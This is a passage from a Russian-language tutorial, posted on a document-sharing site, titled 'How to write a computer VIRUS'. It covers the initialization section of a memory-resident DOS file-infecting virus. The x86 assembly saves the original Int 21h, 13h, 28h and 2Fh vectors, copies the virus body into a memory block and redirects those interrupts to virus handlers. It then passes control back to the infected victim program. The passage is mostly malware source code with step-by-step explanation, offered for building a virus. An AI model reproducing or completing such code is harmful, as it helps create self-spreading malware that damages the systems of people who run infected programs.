Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

2.10 Получаем вектора прерываний

Итак, мы нашли блок памяти, в который часть ини-

циализации будет копировать вирусный код.Но прежде

чем инсталлировать вирус в память, необходимо уз-

нать адреса системных обработчиков прерываний.Ведь

вирус будет вызывать эти обработчики перед ( или

после ) выполнением собственных действий по обра-

ботке того или иного прерывания .Если исходные об-

работчики не будут получать управление, вычислите-

льная система придет в аварийное состояние .

Поэтому :

;_________________________________________________

mov es,di ;Получаем векто-

;ра прерываний

cli

mov di,084h ;Int 21h ...

mov bx,es:[di]

mov old_21h,bx

mov bx,es:[di+2]

mov old_21h_2,bx

mov di,0bch ;Int 2fh ...

mov bx,es:[di]

mov old_2fh,bx

mov bx,es:[di+2]

mov old_2fh_2,bx

mov di,04ch ;Int 13h ...

mov bx,es:[di]

mov old_13h,bx

mov bx,es:[di+2]

mov old_13h_2,bx

mov di,0a0h ;Int 28h ...

mov bx,es:[di]

mov old_28h,bx

mov bx,es:[di+2]

mov old_28h_2,bx

sti

Как видим, для определения адресов обработчиков

вирус обращается непосредственно к таблице векто-

ров прерываний.Секция инициализации будет перехва-

тывать прерывания: Int 21h, Int 13h, Int 28h и Int

2fh.Несколько позже мы разберемся, почему потребо-

валось перехватить именно их и приведем тексты ви-

русных обработчиков этих прерываний.

2.11 Копируем вирусный код в память

Теперь настало время переписать в память код виру-

са и подготовить его к работе в резидентном режи-

ме :

mov word ptr vir,9090h ;Подготавливаем

mov tg_infect,0 ;вирус к рези-

;дентной работе

mov es,ax ;И копируем его

xor di,di ;в память...

mov cx,vir_len

prg_copy: mov bl,byte ptr vir[di]

mov byte ptr es:[di],bl

inc di

loop prg_copy

В самом начале нужно сбросить в ноль переменную

" tg_infect ", чтобы вирус не занимался заражением

файлов, пока его об этом не попросят .Далее,в пер-

вые два байта кода вируса, который мы собираемся

записывать в память, следует записать две команды

NOP, или код 9090h ( см п. 2.2 ) .

Теперь тело вируса просто копируется в блок памя-

ти, сегментный адрес которого задан в регистре AX.

2.12 Устанавливаем вектора прерываний

на вирусные обработчики

Все подготовительные действия выполнены, и нам то-

лько осталось заменить адреса системных обработчи-

ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh

на адреса вирусных обработчиков,после чего необхо-

димо передать управление зараженной программе .Это

мы сейчас и сделаем :

xor bx,bx ;Устанавливаем

;вектора преры-

mov es,bx ;ваний на вирус-

cli ;ные обработчики

mov di,084h

mov word ptr es:[di],to_new_21h

mov es:[di+2],ax ; Int 21h

mov di,0bch

mov word ptr es:[di],to_new_2fh

mov es:[di+2],ax ; Int 2fh

mov di,04ch

mov word ptr es:[di],to_new_13h

mov es:[di+2],ax ; Int 13h

mov di,0a0h

mov word ptr es:[di],0

mov es:[di+2],ax ; Int 28h

sti

jmp fresh_bytes ;Установка

;завершена ...

Модификация векторов прерываний в особых коммента-

риях не нуждается . А команда " jmp fresh_bytes "

передает управление на программный код,выполняющий

восстановление исходных трех байт программы - жер-

твы .

Таким образом, мы разработали секцию инициализации

нашего вируса . И поэтому настало время перейти к

созданию резидентной секции .Все оставшиеся пункты

этой главы будут посвящены именно разработке рези-

дентной части .